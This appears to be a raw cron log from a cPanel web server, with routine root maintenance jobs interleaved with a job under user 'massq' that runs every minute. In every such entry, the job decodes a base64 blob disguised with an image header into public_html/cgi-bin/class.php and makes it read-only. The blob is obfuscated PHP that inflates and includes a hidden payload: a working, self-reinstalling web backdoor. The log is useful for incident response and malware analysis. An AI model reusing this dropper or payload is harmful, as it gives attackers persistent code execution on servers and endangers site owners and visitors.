Sep  9 13:01:01 server run-parts(/etc/cron.hourly)[2605]: finished 0anacron
Sep  9 13:02:01 server CROND[3075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:02:01 server CROND[3077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:02:01 server CROND[3076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:03:01 server CROND[3457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:03:01 server CROND[3458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:03:01 server CROND[3459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:04:01 server CROND[3835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:04:01 server CROND[3834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:04:01 server CROND[3833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:05:01 server CROND[4206]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 13:05:01 server CROND[4209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:05:01 server CROND[4217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:05:01 server CROND[4220]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 13:05:01 server CROND[4218]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:05:01 server CROND[4222]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 13:05:01 server CROND[4221]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:05:01 server CROND[4233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:06:01 server CROND[5026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:06:01 server CROND[5027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:06:01 server CROND[5028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:07:01 server CROND[5491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:07:01 server CROND[5493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:07:01 server CROND[5492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:08:01 server CROND[5854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:08:01 server CROND[5855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:08:01 server CROND[5856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:09:01 server CROND[6239]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 13:09:01 server CROND[6242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:09:01 server CROND[6240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:09:01 server CROND[6241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:10:01 server CROND[6626]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 13:10:01 server CROND[6627]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 13:10:01 server CROND[6630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:10:01 server CROND[6646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:10:01 server CROND[6645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:10:01 server CROND[6647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:10:01 server CROND[6651]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 13:10:01 server CROND[6648]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:11:01 server CROND[7473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:11:01 server CROND[7472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:11:01 server CROND[7474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:12:01 server CROND[7922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:12:01 server CROND[7927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:12:01 server CROND[7924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:12:01 server CROND[7925]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 13:13:01 server CROND[8360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:13:01 server CROND[8361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:13:01 server CROND[8362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
